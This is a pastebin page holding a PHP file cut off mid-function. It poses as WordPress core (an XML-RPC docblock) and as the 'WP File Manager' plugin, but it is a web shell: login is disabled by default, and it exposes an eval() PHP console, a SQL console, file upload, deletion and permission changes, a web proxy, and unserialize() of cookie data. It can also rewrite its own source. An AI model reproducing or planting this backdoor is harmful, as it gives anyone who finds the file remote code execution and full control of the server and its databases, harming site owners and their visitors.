admin

From admin, 2 Days ago, written in Plain Text, viewed 1 times. This paste will run down the curtain in 4 Days.
URL http://minetest.wjake.com/stikked/view/d6a7141b Embed
Download Paste or View Raw
  1. <?php
  2. /**
  3.  * XML-RPC protocol support for WordPress
  4.  *
  5.  * @package WordPress
  6.  */
  7.  
  8. /**
  9.  * Whether this is an XML-RPC Request.
  10.  *
  11.  * @var bool
  12.  */
  13. ?>
  14. <?php
  15. /**
  16.   Plugin Name: WP File Manager
  17.   Plugin URI: https://wordpress.org/plugins/wp-file-manager
  18.   Description: Manage your WP files.
  19.   Author: mndpsingh287
  20.   Version: 8.0
  21.   Author URI: https://profiles.wordpress.org/mndpsingh287
  22.   License: GPLv2
  23.  **/
  24.  
  25. // Configuration — do not change manually!
  26. $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
  27. $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
  28. $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
  29. $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
  30. // end configuration
  31.  
  32. // Preparations
  33. $starttime = explode(' ', microtime());
  34. $starttime = $starttime[1] + $starttime[0];
  35. $langs = array('en','ru','de','fr','uk');
  36. $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
  37. $path = str_replace('\\', '/', $path) . '/';
  38. $main_path=str_replace('\\', '/',realpath('./'));
  39. $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
  40. $msg = ''; // service string
  41. $default_language = 'ru';
  42. $detect_lang = true;
  43. $fm_version = 1.4;
  44.  
  45. //Authorization
  46. $auth = json_decode($authorization,true);
  47. $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
  48. $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
  49. $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
  50. $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
  51. $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
  52. $auth['script'] = isset($auth['script']) ? $auth['script'] : '';
  53.  
  54. // Little default config
  55. $fm_default_config = array (
  56.         'make_directory' => true,
  57.         'new_file' => true,
  58.         'upload_file' => true,
  59.         'show_dir_size' => false, //if true, show directory size → maybe slow
  60.         'show_img' => true,
  61.         'show_php_ver' => true,
  62.         'show_php_ini' => false, // show path to current php.ini
  63.         'show_gt' => true, // show generation time
  64.         'enable_php_console' => true,
  65.         'enable_sql_console' => true,
  66.         'sql_server' => 'localhost',
  67.         'sql_username' => 'root',
  68.         'sql_password' => '',
  69.         'sql_db' => 'test_base',
  70.         'enable_proxy' => true,
  71.         'show_phpinfo' => true,
  72.         'show_xls' => true,
  73.         'fm_settings' => true,
  74.         'restore_time' => true,
  75.         'fm_restore_time' => false,
  76. );
  77.  
  78. if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
  79. else $fm_config = unserialize($_COOKIE['fm_config']);
  80.  
  81. // Change language
  82. if (isset($_POST['fm_lang'])) {
  83.         setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
  84.         $_COOKIE['fm_lang'] = $_POST['fm_lang'];
  85. }
  86. $language = $default_language;
  87.  
  88. // Detect browser language
  89. if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
  90.         $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
  91.         if (!empty($lang_priority)){
  92.                 foreach ($lang_priority as $lang_arr){
  93.                         $lng = explode(';', $lang_arr);
  94.                         $lng = $lng[0];
  95.                         if(in_array($lng,$langs)){
  96.                                 $language = $lng;
  97.                                 break;
  98.                         }
  99.                 }
  100.         }
  101. }
  102.  
  103. // Cookie language is primary for ever
  104. $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
  105.  
  106. // Localization
  107. $lang = json_decode($translation,true);
  108. if ($lang['id']!=$language) {
  109.         $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
  110.         if (!empty($get_lang)) {
  111.                 //remove unnecessary characters
  112.                 $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
  113.                 $fgc = file_get_contents(__FILE__);
  114.                 $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
  115.                 if (!empty($matches[1])) {
  116.                         $filemtime = filemtime(__FILE__);
  117.                         $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
  118.                         if (file_put_contents(__FILE__, $replace)) {
  119.                                 $msg .= __('File updated');
  120.                         }       else $msg .= __('Error occurred');
  121.                         if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
  122.                 }      
  123.                 $lang = json_decode($translation_string,true);
  124.         }
  125. }
  126.  
  127. /* Functions */
  128.  
  129. //translation
  130. function __($text){
  131.         global $lang;
  132.         if (isset($lang[$text])) return $lang[$text];
  133.         else return $text;
  134. };
  135.  
  136. //delete files and dirs recursively
  137. function fm_del_files($file, $recursive = false) {
  138.         if($recursive && @is_dir($file)) {
  139.                 $els = fm_scan_dir($file, '', '', true);
  140.                 foreach ($els as $el) {
  141.                         if($el != '.' && $el != '..'){
  142.                                 fm_del_files($file . '/' . $el, true);
  143.                         }
  144.                 }
  145.         }
  146.         if(@is_dir($file)) {
  147.                 return rmdir($file);
  148.         } else {
  149.                 return @unlink($file);
  150.         }
  151. }
  152.  
  153. //file perms
  154. function fm_rights_string($file, $if = false){
  155.         $perms = fileperms($file);
  156.         $info = '';
  157.         if(!$if){
  158.                 if (($perms & 0xC000) == 0xC000) {
  159.                         //Socket
  160.                         $info = 's';
  161.                 } elseif (($perms & 0xA000) == 0xA000) {
  162.                         //Symbolic Link
  163.                         $info = 'l';
  164.                 } elseif (($perms & 0x8000) == 0x8000) {
  165.                         //Regular
  166.                         $info = '-';
  167.                 } elseif (($perms & 0x6000) == 0x6000) {
  168.                         //Block special
  169.                         $info = 'b';
  170.                 } elseif (($perms & 0x4000) == 0x4000) {
  171.                         //Directory
  172.                         $info = 'd';
  173.                 } elseif (($perms & 0x2000) == 0x2000) {
  174.                         //Character special
  175.                         $info = 'c';
  176.                 } elseif (($perms & 0x1000) == 0x1000) {
  177.                         //FIFO pipe
  178.                         $info = 'p';
  179.                 } else {
  180.                         //Unknown
  181.                         $info = 'u';
  182.                 }
  183.         }
  184.  
  185.         //Owner
  186.         $info .= (($perms & 0x0100) ? 'r' : '-');
  187.         $info .= (($perms & 0x0080) ? 'w' : '-');
  188.         $info .= (($perms & 0x0040) ?
  189.         (($perms & 0x0800) ? 's' : 'x' ) :
  190.         (($perms & 0x0800) ? 'S' : '-'));
  191.  
  192.         //Group
  193.         $info .= (($perms & 0x0020) ? 'r' : '-');
  194.         $info .= (($perms & 0x0010) ?'w' : '-');
  195.         $info .= (($perms & 0x0008) ?
  196.         (($perms & 0x0400) ? 's' : 'x' ) :
  197.         (($perms & 0x0400) ? 'S' : '-'));
  198.  
  199.         //World
  200.         $info .= (($perms & 0x0004) ? 'r' : '-');
  201.         $info .= (($perms & 0x0002) ? 'w' : '-');
  202.         $info .= (($perms & 0x0001) ?
  203.         (($perms & 0x0200) ? 't' : 'x' ) :
  204.         (($perms & 0x0200) ? 'T' : '-'));
  205.  
  206.         return $info;
  207. }
  208.  
  209. function fm_convert_rights($mode) {
  210.         $mode = str_pad($mode,9,'-');
  211.         $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
  212.         $mode = strtr($mode,$trans);
  213.         $newmode = '0';
  214.         $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
  215.         $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
  216.         $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
  217.         $newmode .= $owner . $group . $world;
  218.         return intval($newmode, 8);
  219. }
  220.  
  221. function fm_chmod($file, $val, $rec = false) {
  222.         $res = @chmod(realpath($file), $val);
  223.         if(@is_dir($file) && $rec){
  224.                 $els = fm_scan_dir($file);
  225.                 foreach ($els as $el) {
  226.                         $res = $res && fm_chmod($file . '/' . $el, $val, true);
  227.                 }
  228.         }
  229.         return $res;
  230. }
  231.  
  232. //load files
  233. function fm_download($file_name) {
  234.     if (!empty($file_name)) {
  235.                 if (file_exists($file_name)) {
  236.                         header("Content-Disposition: attachment; filename=" . basename($file_name));  
  237.                         header("Content-Type: application/force-download");
  238.                         header("Content-Type: application/octet-stream");
  239.                         header("Content-Type: application/download");
  240.                         header("Content-Description: File Transfer");            
  241.                         header("Content-Length: " . filesize($file_name));             
  242.                         flush(); // this doesn't really matter.
  243.                         $fp = fopen($file_name, "r");
  244.                         while (!feof($fp)) {
  245.                                 echo fread($fp, 65536);
  246.                                 flush(); // this is essential for large downloads
  247.                         }
  248.                         fclose($fp);
  249.                         die();
  250.                 } else {
  251.                         header('HTTP/1.0 404 Not Found', true, 404);
  252.                         header('Status: 404 Not Found');
  253.                         die();
  254.         }
  255.     }
  256. }
  257.  
  258. //show folder size
  259. function fm_dir_size($f,$format=true) {
  260.         if($format)  {
  261.                 $size=fm_dir_size($f,false);
  262.                 if($size<=1024) return $size.' bytes';
  263.                 elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
  264.                 elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
  265.                 elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
  266.                 elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
  267.                 else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
  268.         } else {
  269.                 if(is_file($f)) return filesize($f);
  270.                 $size=0;
  271.                 $dh=opendir($f);
  272.                 while(($file=readdir($dh))!==false) {
  273.                         if($file=='.' || $file=='..') continue;
  274.                         if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
  275.                         else $size+=fm_dir_size($f.'/'.$file,false);
  276.                 }
  277.                 closedir($dh);
  278.                 return $size+filesize($f);
  279.         }
  280. }
  281.  
  282. //scan directory
  283. function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
  284.         $dir = $ndir = array();
  285.         if(!empty($exp)){
  286.                 $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
  287.         }
  288.         if(!empty($type) && $type !== 'all'){
  289.                 $func = 'is_' . $type;
  290.         }
  291.         if(@is_dir($directory)){
  292.                 $fh = opendir($directory);
  293.                 while (false !== ($filename = readdir($fh))) {
  294.                         if(substr($filename, 0, 1) != '.' || $do_not_filter) {
  295.                                 if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
  296.                                         $dir[] = $filename;
  297.                                 }
  298.                         }
  299.                 }
  300.                 closedir($fh);
  301.                 natsort($dir);
  302.         }
  303.         return $dir;
  304. }
  305.  
  306. function fm_link($get,$link,$name,$title='') {
  307.         if (empty($title)) $title=$name.' '.basename($link);
  308.         return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
  309. }
  310.  
  311. function fm_arr_to_option($arr,$n,$sel=''){
  312.         foreach($arr as $v){
  313.                 $b=$v[$n];
  314.                 $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
  315.         }
  316.         return $res;
  317. }
  318.  
  319. function fm_lang_form ($current='en'){
  320. return '
  321. <form name="change_lang" method="post" action="">
  322.         <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
  323.                 <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
  324.                 <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
  325.                 <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
  326.                 <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
  327.                 <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
  328.         </select>
  329. </form>
  330. ';
  331. }
  332.        
  333. function fm_root($dirname){
  334.         return ($dirname=='.' OR $dirname=='..');
  335. }
  336.  
  337. function fm_php($string){
  338.         $display_errors=ini_get('display_errors');
  339.         ini_set('display_errors', '1');
  340.         ob_start();
  341.         eval(trim($string));
  342.         $text = ob_get_contents();
  343.         ob_end_clean();
  344.         ini_set('display_errors', $display_errors);
  345.         return $text;
  346. }
  347.  
  348. //SHOW DATABASES
  349. function fm_sql_connect(){
  350.         global $fm_config;
  351.         return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
  352. }
  353.  
  354. function fm_sql($query){
  355.         global $fm_config;
  356.         $query=trim($query);
  357.         ob_start();
  358.         $connection = fm_sql_connect();
  359.         if ($connection->connect_error) {
  360.                 ob_end_clean();
  361.                 return $connection->connect_error;
  362.         }
  363.         $connection->set_charset('utf8');
  364.     $queried = mysqli_query($connection,$query);
  365.         if ($queried===false) {
  366.                 ob_end_clean();
  367.                 return mysqli_error($connection);
  368.     } else {
  369.                 if(!empty($queried)){
  370.                         while($row = mysqli_fetch_assoc($queried)) {
  371.                                 $query_result[]=  $row;
  372.                         }
  373.                 }
  374.                 $vdump=empty($query_result)?'':var_export($query_result,true); 
  375.                 ob_end_clean();
  376.                 $connection->close();
  377.                 return '<pre>'.stripslashes($vdump).'</pre>';
  378.         }
  379. }
  380.  
  381. function fm_backup_tables($tables = '*', $full_backup = true) {
  382.         global $path;
  383.         $mysqldb = fm_sql_connect();
  384.         $delimiter = "; \n  \n";
  385.         if($tables == '*')      {
  386.                 $tables = array();
  387.                 $result = $mysqldb->query('SHOW TABLES');
  388.                 while($row = mysqli_fetch_row($result)) {
  389.                         $tables[] = $row[0];
  390.                 }
  391.         } else {
  392.                 $tables = is_array($tables) ? $tables : explode(',',$tables);
  393.         }
  394.    
  395.         $return='';
  396.         foreach($tables as $table)      {
  397.                 $result = $mysqldb->query('SELECT * FROM '.$table);
  398.                 $num_fields = mysqli_num_fields($result);
  399.                 $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
  400.                 $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
  401.                 $return.=$row2[1].$delimiter;
  402.         if ($full_backup) {
  403.                 for ($i = 0; $i < $num_fields; $i++)  {
  404.                         while($row = mysqli_fetch_row($result)) {
  405.                                 $return.= 'INSERT INTO `'.$table.'` VALUES(';
  406.                                 for($j=0; $j<$num_fields; $j++) {
  407.                                         $row[$j] = addslashes($row[$j]);
  408.                                         $row[$j] = str_replace("\n","\\n",$row[$j]);
  409.                                         if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
  410.                                         if ($j<($num_fields-1)) { $return.= ','; }
  411.                                 }
  412.                                 $return.= ')'.$delimiter;
  413.                         }
  414.                   }
  415.                 } else {
  416.                 $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
  417.                 }
  418.                 $return.="\n\n\n";
  419.         }
  420.  
  421.         //save file
  422.     $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
  423.         $handle = fopen($file,'w+');
  424.         fwrite($handle,$return);
  425.         fclose($handle);
  426.         $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
  427.     return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
  428. }
  429.  
  430. function fm_restore_tables($sqlFileToExecute) {
  431.         $mysqldb = fm_sql_connect();
  432.         $delimiter = "; \n  \n";
  433.     // Load and explode the sql file
  434.     $f = fopen($sqlFileToExecute,"r+");
  435.     $sqlFile = fread($f,filesize($sqlFileToExecute));
  436.     $sqlArray = explode($delimiter,$sqlFile);
  437.        
  438.     //Process the sql file by statements
  439.     foreach ($sqlArray as $stmt) {
  440.         if (strlen($stmt)>3){
  441.                         $result = $mysqldb->query($stmt);
  442.                                 if (!$result){
  443.                                         $sqlErrorCode = mysqli_errno($mysqldb->connection);
  444.                                         $sqlErrorText = mysqli_error($mysqldb->connection);
  445.                                         $sqlStmt      = $stmt;
  446.                                         break;
  447.                      }
  448.                   }
  449.            }
  450. if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
  451. else return $sqlErrorText.'<br/>'.$stmt;
  452. }
  453.  
  454. function fm_img_link($filename){
  455.         return './'.basename(__FILE__).'?img='.base64_encode($filename);
  456. }
  457.  
  458. function fm_home_style(){
  459.         return '
  460. input, input.fm_input {
  461.         text-indent: 2px;
  462. }
  463.  
  464. input, textarea, select, input.fm_input {
  465.         color: black;
  466.         font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
  467.         border-color: black;
  468.         background-color: #FCFCFC none !important;
  469.         border-radius: 0;
  470.         padding: 2px;
  471. }
  472.  
  473. input.fm_input {
  474.         background: #FCFCFC none !important;
  475.         cursor: pointer;
  476. }
  477.  
  478. .home {
  479.         background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
  480.         background-repeat: no-repeat;
  481. }';
  482. }
  483.  
  484. function fm_config_checkbox_row($name,$value) {
  485.         global $fm_config;
  486.         return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
  487. }
  488.  
  489. function fm_protocol() {
  490.         if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
  491.         if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
  492.         if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
  493.         if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
  494.         return 'http://';
  495. }
  496.  
  497. function fm_site_url() {
  498.         return fm_protocol().$_SERVER['HTTP_HOST'];
  499. }
  500.  
  501. function fm_url($full=false) {
  502.         $host=$full?fm_site_url():'.';
  503.         return $host.'/'.basename(__FILE__);
  504. }
  505.  
  506. function fm_home($full=false){
  507.         return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
  508. }
  509.  
  510. function fm_run_input($lng) {
  511.         global $fm_config;
  512.         $return = !empty($fm_config['enable_'.$lng.'_console']) ?
  513.         '
  514.                                 <form  method="post" action="'.fm_url().'" style="display:inline">
  515.                                 <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
  516.                                 </form>
  517. ' : '';
  518.         return $return;
  519. }
  520.  
  521. function fm_url_proxy($matches) {
  522.         $link = str_replace('&amp;','&',$matches[2]);
  523.         $url = isset($_GET['url'])?$_GET['url']:'';
  524.         $parse_url = parse_url($url);
  525.         $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
  526.         if (substr($link,0,2)=='//') {
  527.                 $link = substr_replace($link,fm_protocol(),0,2);
  528.         } elseif (substr($link,0,1)=='/') {
  529.                 $link = substr_replace($link,$host,0,1);       
  530.         } elseif (substr($link,0,2)=='./') {
  531.                 $link = substr_replace($link,$host,0,2);       
  532.         } elseif (substr($link,0,4)=='http') {
  533.                 //alles machen wunderschon
  534.         } else {
  535.                 $link = $host.$link;
  536.         }
  537.         if ($matches[1]=='href' && !strripos($link, 'css')) {
  538.                 $base = fm_site_url().'/'.basename(__FILE__);
  539.                 $baseq = $base.'?proxy=true&url=';
  540.                 $link = $baseq.urlencode($link);
  541.         } elseif (strripos($link, 'css')){
  542.                 //как-то тоже подменять надо
  543.         }
  544.         return $matches[1].'="'.$link.'"';
  545. }
  546.  
  547. function fm_tpl_form($lng_tpl) {
  548.         global ${$lng_tpl.'_templates'};
  549.         $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
  550.         $str = '';
  551.         foreach ($tpl_arr as $ktpl=>$vtpl) {
  552.                 $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
  553.         }
  554. return '
  555. <table>
  556. <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
  557. <form method="post" action="">
  558. <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
  559. <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
  560. '.$str.'
  561. <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
  562. </form>
  563. <form method="post" action="">
  564. <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
  565. <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
  566. <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
  567. </form>
  568. </table>
  569. ';
  570. }
  571.  
  572. function find_text_in_files($dir, $mask, $text) {
  573.     $results = array();
  574.     if ($handle = opendir($dir)) {
  575.         while (false !== ($entry = readdir($handle))) {
  576.             if ($entry != "." && $entry != "..") {
  577.                 $path = $dir . "/" . $entry;
  578.                 if (is_dir($path)) {
  579.                     $results = array_merge($results, find_text_in_files($path, $mask, $text));
  580.                 } else {
  581.                     if (fnmatch($mask, $entry)) {
  582.                         $contents = file_get_contents($path);
  583.                         if (strpos($contents, $text) !== false) {
  584.                             $results[] = str_replace('//', '/', $path);
  585.                         }
  586.                     }
  587.                 }
  588.             }
  589.         }
  590.         closedir($handle);
  591.     }
  592.     return $results;
  593. }
  594.  
  595.  
  596. /* End Functions */
  597.  
  598. // authorization
  599. if ($auth['authorize']) {
  600.         if (isset($_POST['login']) && isset($_POST['password'])){
  601.                 if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
  602.                         setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
  603.                         $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
  604.                 }
  605.         }
  606.         if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
  607.                 echo '
  608. <!doctype html>
  609. <html>
  610. <head>
  611. <meta charset="utf-8" />
  612. <meta name="viewport" content="width=device-width, initial-scale=1" />
  613. <title>'.__('File manager').'</title>
  614. </head>
  615. <body>
  616. <form action="" method="post">
  617. '.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
  618. '.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
  619. <input type="submit" value="'.__('Enter').'" class="fm_input">
  620. </form>
  621. '.fm_lang_form($language).'
  622. </body>
  623. </html>
  624. ';  
  625. die();
  626.         }
  627.         if (isset($_POST['quit'])) {
  628.                 unset($_COOKIE[$auth['cookie_name']]);
  629.                 setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
  630.                 header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
  631.         }
  632. }
  633.  
  634. // Change config
  635. if (isset($_GET['fm_settings'])) {
  636.         if (isset($_GET['fm_config_delete'])) {
  637.                 unset($_COOKIE['fm_config']);
  638.                 setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
  639.                 header('Location: '.fm_url().'?fm_settings=true');
  640.                 exit(0);
  641.         }       elseif (isset($_POST['fm_config'])) {
  642.                 $fm_config = $_POST['fm_config'];
  643.                 setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
  644.                 $_COOKIE['fm_config'] = serialize($fm_config);
  645.                 $msg = __('Settings').' '.__('done');
  646.         }       elseif (isset($_POST['fm_login'])) {
  647.                 if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
  648.                 $fm_login = json_encode($_POST['fm_login']);
  649.                 $fgc = file_get_contents(__FILE__);
  650.                 $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
  651.                 if (!empty($matches[1])) {
  652.                         $filemtime = filemtime(__FILE__);
  653.                         $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
